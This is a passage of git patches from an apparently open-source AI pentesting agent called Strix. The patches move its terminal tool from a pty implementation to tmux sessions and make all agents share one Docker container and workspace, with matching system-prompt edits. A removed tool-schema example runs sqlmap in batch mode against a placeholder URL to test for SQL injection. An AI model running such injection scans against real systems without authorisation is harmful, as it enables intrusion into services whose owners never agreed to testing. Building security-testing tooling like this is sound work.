commands: [":", "literal:wq", "Enter"] instead of [":", "w", "q", "Enter"] - - Any sequence where exact character positioning matters - - When you need multiple characters sent as a single unit - 12. Do NOT use terminal actions for file editing or writing. Use the replace_in_file, - write_to_file, or read_file tools instead. - 13. PREFER SIMPLE COMMANDS: Avoid complex multiline commands with nested quotes or - complex syntax. Break down complex operations into simpler, individual commands - for better reliability and readability. Never send multiple commands in a single - input list with multiple "Enter" keys - execute one command at a time instead. + 1. PERSISTENT SESSION: The terminal maintains state between commands. Environment variables, + current directory, and running processes persist across multiple tool calls. + + 2. COMMAND EXECUTION: Execute one command at a time. For multiple commands, chain them with + && or ; operators, or make separate tool calls. + + 3. LONG-RUNNING COMMANDS: + - For commands that run indefinitely, run them in background: 'python app.py > server.log 2>&1 &' + - For commands that take time, set appropriate timeout parameter + - Use is_input=true to interact with running processes + + 4. TIMEOUT HANDLING: + - Commands have a default soft timeout (30 seconds of no output changes) + - Set custom timeout for longer operations + - When timeout occurs, you can send empty command to get more output + - Use control sequences (C-c, C-d, C-z) to interrupt processes + + 5. MULTIPLE TERMINALS: Use different terminal_id values to run multiple concurrent sessions. + + 6. INTERACTIVE PROCESSES: Use is_input=true to send input to running processes like: + - Interactive shells, REPLs, or prompts + - Long-running applications waiting for input + - Background processes that need interaction + - Use no_enter=true for stuff like Vim navigation, password typing, or multi-step commands + + 7. WORKING DIRECTORY: The terminal tracks and returns the current working directory. + Use absolute paths or cd commands to change directories as needed. + + 8. OUTPUT HANDLING: Large outputs are automatically truncated. The tool provides + the most relevant parts of the output for analysis. - # Create new terminal with Node.js (default terminal) - - new_terminal - ["node", "Enter"] + # Execute a simple command + + ls -la + + + # Run a command with custom timeout + + npm install + 120 - # Create a second (parallel) terminal instance for Python - - new_terminal - python_terminal - ["python3", "Enter"] + # Start a background service + + python app.py > server.log 2>&1 & - # Send command to the default terminal - - send_input - ["require('crypto').randomBytes(1000000).toString('hex')", - "Enter"] + # Interact with a running process + + y + true - # Wait for previous action on default terminal - - wait - 2.0 + # Interrupt a running process + + C-c - # Send multiple inputs with special keys to current terminal - - send_input - ["sqlmap -u 'http://example.com/page.php?id=1' --batch", "Enter", "y", - "Enter", "n", "Enter", "n", "Enter"] + # Send Escape key (use official tmux name) + + Escape + true - # WRONG: Vim command with automatic spacing (becomes ": w q") - - send_input - [":", "w", "q", "Enter"] + # Use a different terminal session + + python3 + python_session - # CORRECT: Vim command using literal prefix (becomes ":wq") - - send_input - [":", "literal:wq", "Enter"] + # Send input to Python REPL in specific session + + print("Hello World") + true + python_session diff --git a/strix/tools/terminal/terminal_instance.py b/strix/tools/terminal/terminal_instance.py deleted file mode 100644 index f5a70c38d..000000000 --- a/strix/tools/terminal/terminal_instance.py +++ /dev/null @@ -1,231 +0,0 @@ -import contextlib -import os -import pty -import select -import signal -import subprocess -import threading -import time -from typing import Any - -import pyte - - -MAX_TERMINAL_SNAPSHOT_LENGTH = 10_000 - - -class TerminalInstance: - def __init__(self, terminal_id: str, initial_command: str | None = None) -> None: - self.terminal_id = terminal_id - self.process: subprocess.Popen[bytes] | None = None - self.master_fd: int | None = None - self.is_running = False - self._output_lock = threading.Lock() - self._reader_thread: threading.Thread | None = None - - self.screen = pyte.HistoryScreen(80, 24, history=1000) - self.stream = pyte.ByteStream() - self.stream.attach(self.screen) - - self._start_terminal(initial_command) - - def _start_terminal(self, initial_command: str | None = None) -> None: - try: - self.master_fd, slave_fd = pty.openpty() - - shell = "/bin/bash" - - self.process = subprocess.Popen( # noqa: S603 - [shell, "-i"], - stdin=slave_fd, - stdout=slave_fd, - stderr=slave_fd, - cwd="/workspace", - preexec_fn=os.setsid, # noqa: PLW1509 - Required for PTY functionality - ) - - os.close(slave_fd) - - self.is_running = True - - self._reader_thread = threading.Thread(target=self._read_output, daemon=True) - self._reader_thread.start() - - time.sleep(0.5) - - if initial_command: - self._write_to_terminal(initial_command) - - except (OSError, ValueError) as e: - raise RuntimeError(f"Failed to start terminal: {e}") from e - - def _read_output(self) -> None: - while self.is_running and self.master_fd: - try: - ready, _, _ = select.select([self.master_fd], [], [], 0.1) - if ready: - data = os.read(self.master_fd, 4096) - if data: - with self._output_lock, contextlib.suppress(TypeError): - self.stream.feed(data) - else: - break - except (OSError, ValueError): - break - - def _write_to_terminal(self, data: str) -> None: - if self.master_fd and self.is_running: - try: - os.write(self.master_fd, data.encode("utf-8")) - except (OSError, ValueError) as e: - raise RuntimeError("Terminal is no longer available") from e - - def send_input(self, inputs: list[str]) -> None: - if not self.is_running: - raise RuntimeError("Terminal is not running") - - for i, input_item in enumerate(inputs): - if input_item.startswith("literal:"): - literal_text = input_item[8:] - self._write_to_terminal(literal_text) - else: - key_sequence = self._get_key_sequence(input_item) - if key_sequence: - self._write_to_terminal(key_sequence) - else: - self._write_to_terminal(input_item) - - time.sleep(0.05) - - if ( - i < len(inputs) - 1 - and not input_item.startswith("literal:") - and not self._is_special_key(input_item) - and not inputs[i + 1].startswith("literal:") - and not self._is_special_key(inputs[i + 1]) - ): - self._write_to_terminal(" ") - - def get_snapshot(self) -> dict[str, Any]: - with self._output_lock: - history_lines = [ - "".join(char.data for char in line_dict.values()) - for line_dict in self.screen.history.top - ] - - current_lines = self.screen.display - - all_lines = history_lines + current_lines - rendered_output = "\n".join(all_lines) - - if len(rendered_output) > MAX_TERMINAL_SNAPSHOT_LENGTH: - rendered_output = rendered_output[-MAX_TERMINAL_SNAPSHOT_LENGTH:] - truncated = True - else: - truncated = False - - return { - "terminal_id": self.terminal_id, - "snapshot": rendered_output, - "is_running": self.is_running, - "process_id": self.process.pid if self.process else None, - "truncated": truncated, - } - - def wait(self, duration: float) -> dict[str, Any]: - time.sleep(duration) - return self.get_snapshot() - - def close(self) -> None: - self.is_running = False - - if self.process: - with contextlib.suppress(OSError, ProcessLookupError): - os.killpg(os.getpgid(self.process.pid), signal.SIGTERM) - - try: - self.process.wait(timeout=2) - except subprocess.TimeoutExpired: - os.killpg(os.getpgid(self.process.pid), signal.SIGKILL) - self.process.wait() - - if self.master_fd: - with contextlib.suppress(OSError): - os.close(self.master_fd) - self.master_fd = None - - if self._reader_thread and self._reader_thread.is_alive(): - self._reader_thread.join(timeout=1) - - def _is_special_key(self, key: str) -> bool: - special_keys = { - "Enter", - "Space", - "Backspace", - "Tab", - "Escape", - "Up", - "Down", - "Left", - "Right", - "Home", - "End", - "PageUp", - "PageDown", - "Insert", - "Delete", - } | {f"F{i}" for i in range(1, 13)} - - if key in special_keys: - return True - - return bool(key.startswith(("^", "C-", "S-", "A-"))) - - def _get_key_sequence(self, key: str) -> str | None: - key_map = { - "Enter": "\r", - "Space": " ", - "Backspace": "\x08", - "Tab": "\t", - "Escape": "\x1b", - "Up": "\x1b[A", - "Down": "\x1b[B", - "Right": "\x1b[C", - "Left": "\x1b[D", - "Home": "\x1b[H", - "End": "\x1b[F", - "PageUp": "\x1b[5~", - "PageDown": "\x1b[6~", - "Insert": "\x1b[2~", - "Delete": "\x1b[3~", - "F1": "\x1b[11~", - "F2": "\x1b[12~", - "F3": "\x1b[13~", - "F4": "\x1b[14~", - "F5": "\x1b[15~", - "F6": "\x1b[17~", - "F7": "\x1b[18~", - "F8": "\x1b[19~", - "F9": "\x1b[20~", - "F10": "\x1b[21~", - "F11": "\x1b[23~", - "F12": "\x1b[24~", - } - - if key in key_map: - return key_map[key] - - if key.startswith("^") and len(key) == 2: - char = key[1].lower() - return chr(ord(char) - ord("a") + 1) if "a" <= char <= "z" else None - - if key.startswith("C-") and len(key) == 3: - char = key[2].lower() - return chr(ord(char) - ord("a") + 1) if "a" <= char <= "z" else None - - return None - - def is_alive(self) -> bool: - if not self.process: - return False - return self.process.poll() is None diff --git a/strix/tools/terminal/terminal_manager.py b/strix/tools/terminal/terminal_manager.py index 9d5f32b21..95014f074 100644 --- a/strix/tools/terminal/terminal_manager.py +++ b/strix/tools/terminal/terminal_manager.py @@ -5,173 +5,133 @@ import threading from typing import Any -from .terminal_instance import TerminalInstance +from .terminal_session import TerminalSession class TerminalManager: def __init__(self) -> None: - self.terminals: dict[str, TerminalInstance] = {} + self.sessions: dict[str, TerminalSession] = {} self._lock = threading.Lock() self.default_terminal_id = "default" + self.default_timeout = 30.0 self._register_cleanup_handlers() - def create_terminal( - self, terminal_id: str | None = None, inputs: list[str] | None = None + def execute_command( + self, + command: str, + is_input: bool = False, + timeout: float | None = None, + terminal_id: str | None = None, + no_enter: bool = False, ) -> dict[str, Any]: if terminal_id is None: terminal_id = self.default_terminal_id - with self._lock: - if terminal_id in self.terminals: - raise ValueError(f"Terminal '{terminal_id}' already exists") - - initial_command = None - if inputs: - command_parts: list[str] = [] - for input_item in inputs: - if input_item == "Enter": - initial_command = " ".join(command_parts) + "\n" - break - if input_item.startswith("literal:"): - command_parts.append(input_item[8:]) - elif input_item not in [ - "Space", - "Tab", - "Backspace", - ]: - command_parts.append(input_item) - - try: - terminal = TerminalInstance(terminal_id, initial_command) - self.terminals[terminal_id] = terminal - - if inputs and not initial_command: - terminal.send_input(inputs) - result = terminal.wait(2.0) - else: - result = terminal.wait(1.0) - - result["message"] = f"Terminal '{terminal_id}' created successfully" - - except (OSError, ValueError, RuntimeError) as e: - raise RuntimeError(f"Failed to create terminal '{terminal_id}': {e}") from e - else: - return result - - def send_input( - self, terminal_id: str | None = None, inputs: list[str] | None = None - ) -> dict[str, Any]: - if terminal_id is None: - terminal_id = self.default_terminal_id - - if not inputs: - raise ValueError("No inputs provided") - - with self._lock: - if terminal_id not in self.terminals: - raise ValueError(f"Terminal '{terminal_id}' not found") - - terminal = self.terminals[terminal_id] + session = self._get_or_create_session(terminal_id) try: - terminal.send_input(inputs) - result = terminal.wait(2.0) - result["message"] = f"Input sent to terminal '{terminal_id}'" - except (OSError, ValueError, RuntimeError) as e: - raise RuntimeError(f"Failed to send input to terminal '{terminal_id}': {e}") from e - else: - return result + result = session.execute(command, is_input, timeout or self.default_timeout, no_enter) - def wait_terminal( - self, terminal_id: str | None = None, duration: float = 1.0 - ) -> dict[str, Any]: - if terminal_id is None: - terminal_id = self.default_terminal_id - - with self._lock: - if terminal_id not in self.terminals: - raise ValueError(f"Terminal '{terminal_id}' not found") + return { + "content": result["content"], + "command": command, + "terminal_id": terminal_id, + "status": result["status"], + "exit_code": result.get("exit_code"), + "working_dir": result.get("working_dir"), + } - terminal = self.terminals[terminal_id] + except RuntimeError as e: + return { + "error": str(e), + "command": command, + "terminal_id": terminal_id, + "content": "", + "status": "error", + "exit_code": None, + "working_dir": None, + } + except OSError as e: + return { + "error": f"System error: {e}", + "command": command, + "terminal_id": terminal_id, + "content": "", + "status": "error", + "exit_code": None, + "working_dir": None, + } - try: - result = terminal.wait(duration) - result["message"] = f"Waited {duration}s on terminal '{terminal_id}'" - except (OSError, ValueError, RuntimeError) as e: - raise RuntimeError(f"Failed to wait on terminal '{terminal_id}': {e}") from e - else: - return result + def _get_or_create_session(self, terminal_id: str) -> TerminalSession: + with self._lock: + if terminal_id not in self.sessions: + self.sessions[terminal_id] = TerminalSession(terminal_id) + return self.sessions[terminal_id] - def close_terminal(self, terminal_id: str | None = None) -> dict[str, Any]: + def close_session(self, terminal_id: str | None = None) -> dict[str, Any]: if terminal_id is None: terminal_id = self.default_terminal_id with self._lock: - if terminal_id not in self.terminals: - raise ValueError(f"Terminal '{terminal_id}' not found") + if terminal_id not in self.sessions: + return { + "terminal_id": terminal_id, + "message": f"Terminal '{terminal_id}' not found", + "status": "not_found", + } - terminal = self.terminals.pop(terminal_id) + session = self.sessions.pop(terminal_id) try: - terminal.close() - except (OSError, ValueError, RuntimeError) as e: - raise RuntimeError(f"Failed to close terminal '{terminal_id}': {e}") from e + session.close() + except (RuntimeError, OSError) as e: + return { + "terminal_id": terminal_id, + "error": f"Failed to close terminal '{terminal_id}': {e}", + "status": "error", + } else: return { "terminal_id": terminal_id, "message": f"Terminal '{terminal_id}' closed successfully", - "snapshot": "", - "is_running": False, + "status": "closed", } - def get_terminal_snapshot(self, terminal_id: str | None = None) -> dict[str, Any]: - if terminal_id is None: - terminal_id = self.default_terminal_id - - with self._lock: - if terminal_id not in self.terminals: - raise ValueError(f"Terminal '{terminal_id}' not found") - - terminal = self.terminals[terminal_id] - - return terminal.get_snapshot() - - def list_terminals(self) -> dict[str, Any]: + def list_sessions(self) -> dict[str, Any]: with self._lock: - terminal_info = {} - for tid, terminal in self.terminals.items(): - terminal_info[tid] = { - "is_running": terminal.is_running, - "is_alive": terminal.is_alive(), - "process_id": terminal.process.pid if terminal.process else None, + session_info: dict[str, dict[str, Any]] = {} + for tid, session in self.sessions.items(): + session_info[tid] = { + "is_running": session.is_running(), + "working_dir": session.get_working_dir(), } - return {"terminals": terminal_info, "total_count": len(terminal_info)} + return {"sessions": session_info, "total_count": len(session_info)} - def cleanup_dead_terminals(self) -> None: + def cleanup_dead_sessions(self) -> None: with self._lock: - dead_terminals = [] - for tid, terminal in self.terminals.items(): - if not terminal.is_alive(): - dead_terminals.append(tid) + dead_sessions: list[str] = [] + for tid, session in self.sessions.items(): + if not session.is_running(): + dead_sessions.append(tid) - for tid in dead_terminals: - terminal = self.terminals.pop(tid) + for tid in dead_sessions: + session = self.sessions.pop(tid) with contextlib.suppress(Exception): - terminal.close() + session.close() - def close_all_terminals(self) -> None: + def close_all_sessions(self) -> None: with self._lock: - terminals_to_close = list(self.terminals.values()) - self.terminals.clear() + sessions_to_close = list(self.sessions.values()) + self.sessions.clear() - for terminal in terminals_to_close: + for session in sessions_to_close: with contextlib.suppress(Exception): - terminal.close() + session.close() def _register_cleanup_handlers(self) -> None: - atexit.register(self.close_all_terminals) + atexit.register(self.close_all_sessions) signal.signal(signal.SIGTERM, self._signal_handler) signal.signal(signal.SIGINT, self._signal_handler) @@ -180,7 +140,7 @@ def _register_cleanup_handlers(self) -> None: signal.signal(signal.SIGHUP, self._signal_handler) def _signal_handler(self, _signum: int, _frame: Any) -> None: - self.close_all_terminals() + self.close_all_sessions() sys.exit(0) diff --git a/strix/tools/terminal/terminal_session.py b/strix/tools/terminal/terminal_session.py new file mode 100644 index 000000000..711d34077 --- /dev/null +++ b/strix/tools/terminal/terminal_session.py @@ -0,0 +1,356 @@ +import logging +import re +import time +import uuid +from enum import Enum +from pathlib import Path +from typing import Any + +import libtmux + + +logger = logging.getLogger(__name__) + + +class BashCommandStatus(Enum): + CONTINUE = "continue" + COMPLETED = "completed" + NO_CHANGE_TIMEOUT = "no_change_timeout" + HARD_TIMEOUT = "hard_timeout" + + +def _remove_command_prefix(command_output: str, command: str) -> str: + return command_output.lstrip().removeprefix(command.lstrip()).lstrip() + + +class TerminalSession: + POLL_INTERVAL = 0.5 + HISTORY_LIMIT = 10_000 + PS1_END = "]$ " + + def __init__(self, session_id: str, work_dir: str = "/workspace") -> None: + self.session_id = session_id + self.work_dir = str(Path(work_dir).resolve()) + self._closed = False + self._cwd = self.work_dir + self.NO_CHANGE_TIMEOUT_SECONDS = 30 + + self.server: libtmux.Server | None = None + self.session: libtmux.Session | None = None + self.window: libtmux.Window | None = None + self.pane: libtmux.Pane | None = None + + self.prev_status: BashCommandStatus | None = None + self.prev_output: str = "" + self._initialized = False + + self.initialize() + + @property + def PS1(self) -> str: # noqa: N802 + return r"[STRIX_$?]$ " + + @property + def PS1_PATTERN(self) -> str: # noqa: N802 + return r"\[STRIX_(\d+)\]" + + def initialize(self) -> None: + self.server = libtmux.Server() + + session_name = f"strix-{self.session_id}-{uuid.uuid4()}" + self.session = self.server.new_session( + session_name=session_name, + start_directory=self.work_dir, + kill_session=True, + x=120, + y=30, + ) + + self.session.set_option("history-limit", str(self.HISTORY_LIMIT)) + self.session.history_limit = self.HISTORY_LIMIT + + _initial_window = self.session.active_window + self.window = self.session.new_window( + window_name="bash", + window_shell="/bin/bash", + start_directory=self.work_dir, + ) + self.pane = self.window.active_pane + _initial_window.kill() + + self.pane.send_keys(f'export PROMPT_COMMAND=\'export PS1="{self.PS1}"\'; export PS2=""') + time.sleep(0.1) + self._clear_screen() + + self.prev_status = None + self.prev_output = "" + self._closed = False + + self._cwd = str(Path(self.work_dir).resolve()) + self._initialized = True + + assert self.server is not None + assert self.session is not None + assert self.window is not None + assert self.pane is not None + + def _get_pane_content(self) -> str: + if not self.pane: + raise RuntimeError("Terminal session not properly initialized") + return "\n".join( + line.rstrip() for line in self.pane.cmd("capture-pane", "-J", "-pS", "-").stdout + ) + + def _clear_screen(self) -> None: + if not self.pane: + raise RuntimeError("Terminal session not properly initialized") + self.pane.send_keys("C-l", enter=False) + time.sleep(0.1) + self.pane.cmd("clear-history") + + def _is_control_key(self, command: str) -> bool: + return ( + (command.startswith("C-") and len(command) >= 3) + or (command.startswith("^") and len(command) >= 2) + or (command.startswith("S-") and len(command) >= 3) + or (command.startswith("M-") and len(command) >= 3) + ) + + def _is_function_key(self, command: str) -> bool: + if not command.startswith("F") or len(command) > 3: + return False + try: + num_part = command[1:] + return num_part.isdigit() and 1 <= int(num_part) <= 12 + except (ValueError, IndexError): + return False + + def _is_navigation_or_special_key(self, command: str) -> bool: + navigation_keys = {"Up", "Down", "Left", "Right", "Home", "End"} + special_keys = {"BSpace", "BTab", "DC", "Enter", "Escape", "IC", "Space", "Tab"} + page_keys = {"NPage", "PageDown", "PgDn", "PPage", "PageUp", "PgUp"} + + return command in navigation_keys or command in special_keys or command in page_keys + + def _is_complex_modifier_key(self, command: str) -> bool: + return "-" in command and any( + command.startswith(prefix) + for prefix in ["C-S-", "C-M-", "S-M-", "M-S-", "M-C-", "S-C-"] + ) + + def _is_special_key(self, command: str) -> bool: + _command = command.strip() + + if not _command: + return False + + return ( + self._is_control_key(_command) + or self._is_function_key(_command) + or self._is_navigation_or_special_key(_command) + or self._is_complex_modifier_key(_command) + ) + + def _matches_ps1_metadata(self, content: str) -> list[re.Match[str]]: + return list(re.finditer(self.PS1_PATTERN + r"\]\$ ", content)) + + def _get_command_output( + self, + command: str, + raw_command_output: str, + continue_prefix: str = "", + ) -> str: + if self.prev_output: + command_output = raw_command_output.removeprefix(self.prev_output) + if continue_prefix: + command_output = continue_prefix + command_output + else: + command_output = raw_command_output + self.prev_output = raw_command_output + command_output = _remove_command_prefix(command_output, command) + return command_output.rstrip() + + def _combine_outputs_between_matches( + self, + pane_content: str, + ps1_matches: list[re.Match[str]], + get_content_before_last_match: bool = False, + ) -> str: + if len(ps1_matches) == 1: + if get_content_before_last_match: + return pane_content[: ps1_matches[0].start()] + return pane_content[ps1_matches[0].end() + 1 :] + if len(ps1_matches) == 0: + return pane_content + + combined_output = "" + for i in range(len(ps1_matches) - 1): + output_segment = pane_content[ps1_matches[i].end() + 1 : ps1_matches[i + 1].start()] + combined_output += output_segment + "\n" + combined_output += pane_content[ps1_matches[-1].end() + 1 :] + return combined_output + + def _extract_exit_code_from_matches(self, ps1_matches: list[re.Match[str]]) -> int | None: + if not ps1_matches: + return None + + last_match = ps1_matches[-1] + try: + return int(last_match.group(1)) + except (ValueError, IndexError): + return None + + def execute( + self, command: str, is_input: bool = False, timeout: float = 30.0, no_enter: bool = False + ) -> dict[str, Any]: + if not self._initialized: + raise RuntimeError("Bash session is not initialized") + + if command == "" or command.strip() == "": + return { + "content": ( + "Command cannot be empty - must provide a valid command or control sequence" + ), + "status": "error", + "exit_code": None, + "working_dir": self._cwd, + } + + if ( + self.prev_status + in { + BashCommandStatus.HARD_TIMEOUT, + BashCommandStatus.NO_CHANGE_TIMEOUT, + } + and not is_input + and command != "" + ): + return { + "content": ( + f'Previous command still running. Cannot execute "{command}". ' + "Use is_input=True to interact with running process." + ), + "status": "error", + "exit_code": None, + "working_dir": self._cwd, + } + + initial_pane_output = self._get_pane_content() + initial_ps1_matches = self._matches_ps1_metadata(initial_pane_output) + initial_ps1_count = len(initial_ps1_matches) + + start_time = time.time() + last_change_time = start_time + last_pane_output = initial_pane_output + + if command != "": + if not self.pane: + raise RuntimeError("Terminal session not properly initialized") + is_special_key = self._is_special_key(command) + should_add_enter = not is_special_key and not no_enter + self.pane.send_keys(command, enter=should_add_enter) + + while True: + cur_pane_output = self._get_pane_content() + ps1_matches = self._matches_ps1_metadata(cur_pane_output) + current_ps1_count = len(ps1_matches) + + if cur_pane_output != last_pane_output: + last_pane_output = cur_pane_output + last_change_time = time.time() + + if current_ps1_count > initial_ps1_count or cur_pane_output.rstrip().endswith( + self.PS1_END.rstrip() + ): + exit_code = self._extract_exit_code_from_matches(ps1_matches) + + get_content_before_last_match = bool(len(ps1_matches) == 1) + raw_command_output = self._combine_outputs_between_matches( + cur_pane_output, + ps1_matches, + get_content_before_last_match=get_content_before_last_match, + ) + + command_output = self._get_command_output(command, raw_command_output) + self.prev_status = BashCommandStatus.COMPLETED + self.prev_output = "" + self._ready_for_next_command() + + return { + "content": command_output, + "status": "completed", + "exit_code": exit_code or 0, + "working_dir": self._cwd, + } + + time_since_last_change = time.time() - last_change_time + if time_since_last_change >= self.NO_CHANGE_TIMEOUT_SECONDS: + raw_command_output = self._combine_outputs_between_matches( + cur_pane_output, ps1_matches + ) + command_output = self._get_command_output( + command, + raw_command_output, + continue_prefix="[Below is the output of the previous command.]\n", + ) + self.prev_status = BashCommandStatus.NO_CHANGE_TIMEOUT + + return { + "content": command_output + f"\n[Command timed out - no output change for " + f"{self.NO_CHANGE_TIMEOUT_SECONDS} seconds]", + "status": "timeout", + "exit_code": -1, + "working_dir": self._cwd, + } + + elapsed_time = time.time() - start_time + if elapsed_time >= timeout: + raw_command_output = self._combine_outputs_between_matches( + cur_pane_output, ps1_matches + ) + command_output = self._get_command_output( + command, + raw_command_output, + continue_prefix="[Below is the output of the previous command.]\n", + ) + self.prev_status = BashCommandStatus.HARD_TIMEOUT + + return { + "content": command_output + f"\n[Command timed out after {timeout} seconds]", + "status": "timeout", + "exit_code": -1, + "working_dir": self._cwd, + } + + time.sleep(self.POLL_INTERVAL) + + def _ready_for_next_command(self) -> None: + self._clear_screen() + + def is_running(self) -> bool: + if self._closed or not self.session: + return False + try: + return self.session.id in [s.id for s in self.server.sessions] if self.server else False + except (AttributeError, OSError) as e: + logger.debug("Error checking if session is running: %s", e) + return False + + def get_working_dir(self) -> str: + return self._cwd + + def close(self) -> None: + if self._closed: + return + + if self.session: + try: + self.session.kill() + except (AttributeError, OSError) as e: + logger.debug("Error closing terminal session: %s", e) + + self._closed = True + self.server = None + self.session = None + self.window = None + self.pane = None From cb57426cc6b9f6cffd45a85bf6897a10482b4a23 Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Mon, 18 Aug 2025 13:58:38 -0700 Subject: [PATCH 004/506] Running all agents under same container (#12) --- containers/Dockerfile | 2 +- containers/docker-entrypoint.sh | 14 +- pyproject.toml | 2 +- strix/agents/StrixAgent/strix_agent.py | 12 +- strix/agents/StrixAgent/system_prompt.jinja | 12 +- strix/agents/base_agent.py | 3 + strix/runtime/docker_runtime.py | 364 ++++++++++-------- strix/runtime/runtime.py | 5 +- strix/runtime/tool_server.py | 164 ++++++-- .../agents_graph/agents_graph_actions.py | 8 +- strix/tools/executor.py | 3 + .../terminal/terminal_actions_schema.xml | 44 ++- strix/tools/terminal/terminal_session.py | 201 +++++++--- 13 files changed, 544 insertions(+), 290 deletions(-) diff --git a/containers/Dockerfile b/containers/Dockerfile index b8cbdeb97..d11d819e9 100644 --- a/containers/Dockerfile +++ b/containers/Dockerfile @@ -153,7 +153,7 @@ ENV PYTHONPATH=/app ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt -RUN mkdir -p /shared_workspace /workspace && chown -R pentester:pentester /shared_workspace /workspace /app +RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app COPY pyproject.toml poetry.lock ./ diff --git a/containers/docker-entrypoint.sh b/containers/docker-entrypoint.sh index 10eea7a69..c4178cdfc 100644 --- a/containers/docker-entrypoint.sh +++ b/containers/docker-entrypoint.sh @@ -1,8 +1,8 @@ #!/bin/bash set -e -if [ -z "$CAIDO_PORT" ] || [ -z "$STRIX_TOOL_SERVER_PORT" ]; then - echo "Error: CAIDO_PORT and STRIX_TOOL_SERVER_PORT must be set." +if [ -z "$CAIDO_PORT" ]; then + echo "Error: CAIDO_PORT must be set." exit 1 fi @@ -114,14 +114,8 @@ sudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb echo "✅ CA added to browser trust store" -echo "Starting tool server..." -cd /app && \ -STRIX_SANDBOX_MODE=true \ -STRIX_SANDBOX_TOKEN=${STRIX_SANDBOX_TOKEN} \ -CAIDO_API_TOKEN=${TOKEN} \ -poetry run uvicorn strix.runtime.tool_server:app --host 0.0.0.0 --port ${STRIX_TOOL_SERVER_PORT} & - -echo "✅ Tool server started in background" +echo "Container initialization complete - agents will start their own tool servers as needed" +echo "✅ Shared container ready for multi-agent use" cd /workspace diff --git a/pyproject.toml b/pyproject.toml index 2de982a9b..ddb65e54c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "strix-agent" -version = "0.1.9" +version = "0.1.10" description = "Open-source AI Hackers for your apps" authors = ["Strix "] readme = "README.md" diff --git a/strix/agents/StrixAgent/strix_agent.py b/strix/agents/StrixAgent/strix_agent.py index 2616091bb..f83d85747 100644 --- a/strix/agents/StrixAgent/strix_agent.py +++ b/strix/agents/StrixAgent/strix_agent.py @@ -30,12 +30,12 @@ async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: cloned_path = target.get("cloned_repo_path") if cloned_path: - shared_workspace_path = "/shared_workspace" + workspace_path = "/workspace" task_parts.append( f"Perform a security assessment of the Git repository: {repo_url}. " f"The repository has been cloned from '{repo_url}' to '{cloned_path}' " - f"(host path) and then copied to '{shared_workspace_path}' in your environment." - f"Analyze the codebase at: {shared_workspace_path}" + f"(host path) and then copied to '{workspace_path}' in your environment." + f"Analyze the codebase at: {workspace_path}" ) else: task_parts.append( @@ -49,12 +49,12 @@ async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: elif scan_type == "local_code": original_path = target.get("target_path", "unknown") - shared_workspace_path = "/shared_workspace" + workspace_path = "/workspace" task_parts.append( f"Perform a security assessment of the local codebase. " f"The code from '{original_path}' (user host path) has been copied to " - f"'{shared_workspace_path}' in your environment. " - f"Analyze the codebase at: {shared_workspace_path}" + f"'{workspace_path}' in your environment. " + f"Analyze the codebase at: {workspace_path}" ) else: diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja index 3fa206bb9..3edf209d3 100644 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -145,11 +145,10 @@ Remember: A single high-impact vulnerability is worth more than dozens of low-se AGENT ISOLATION & SANDBOXING: -- Each subagent runs in a completely isolated sandbox environment -- Each agent has its own: browser sessions, terminal sessions, proxy (history and scope rules), /workspace directory, environment variables, running processes -- Agents cannot share network ports or interfere with each other's processes -- Only shared resource is /shared_workspace for collaboration and file exchange -- Use /shared_workspace to pass files, reports, and coordination data between agents +- All agents run in the same shared Docker container for efficiency +- Each agent has its own: browser sessions, terminal sessions +- All agents share the same /workspace directory and proxy history +- Agents can see each other's files and proxy traffic for better collaboration SIMPLE WORKFLOW RULES: @@ -312,8 +311,7 @@ PROGRAMMING: - You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.) Directories: -- /workspace - Your private agent directory -- /shared_workspace - Shared between agents +- /workspace - where you should work. - /home/pentester/tools - Additional tool scripts - /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need. diff --git a/strix/agents/base_agent.py b/strix/agents/base_agent.py index 07d2cd1b0..e769788e6 100644 --- a/strix/agents/base_agent.py +++ b/strix/agents/base_agent.py @@ -239,6 +239,9 @@ async def _initialize_sandbox_and_state(self, task: str) -> None: self.state.sandbox_token = sandbox_info["auth_token"] self.state.sandbox_info = sandbox_info + if "agent_id" in sandbox_info: + self.state.sandbox_info["agent_id"] = sandbox_info["agent_id"] + if not self.state.task: self.state.task = task diff --git a/strix/runtime/docker_runtime.py b/strix/runtime/docker_runtime.py index 355471d98..4b514ec14 100644 --- a/strix/runtime/docker_runtime.py +++ b/strix/runtime/docker_runtime.py @@ -7,19 +7,15 @@ from typing import cast import docker -from docker.errors import DockerException, NotFound +from docker.errors import DockerException, ImageNotFound, NotFound from docker.models.containers import Container from .runtime import AbstractRuntime, SandboxInfo -STRIX_AGENT_LABEL = "StrixAgent_ID" -STRIX_SCAN_LABEL = "StrixScan_ID" -STRIX_IMAGE = os.getenv("STRIX_IMAGE", "ghcr.io/usestrix/strix-sandbox:0.1.4") +STRIX_IMAGE = os.getenv("STRIX_IMAGE", "ghcr.io/usestrix/strix-sandbox:0.1.10") logger = logging.getLogger(__name__) -_initialized_volumes: set[str] = set() - class DockerRuntime(AbstractRuntime): def __init__(self) -> None: @@ -29,9 +25,18 @@ def __init__(self) -> None: logger.exception("Failed to connect to Docker daemon") raise RuntimeError("Docker is not available or not configured correctly.") from e + self._scan_container: Container | None = None + self._tool_server_port: int | None = None + self._tool_server_token: str | None = None + def _generate_sandbox_token(self) -> str: return secrets.token_urlsafe(32) + def _find_available_port(self) -> int: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.bind(("", 0)) + return cast("int", s.getsockname()[1]) + def _get_scan_id(self, agent_id: str) -> str: try: from strix.cli.tracer import get_global_tracer @@ -46,37 +51,151 @@ def _get_scan_id(self, agent_id: str) -> str: return 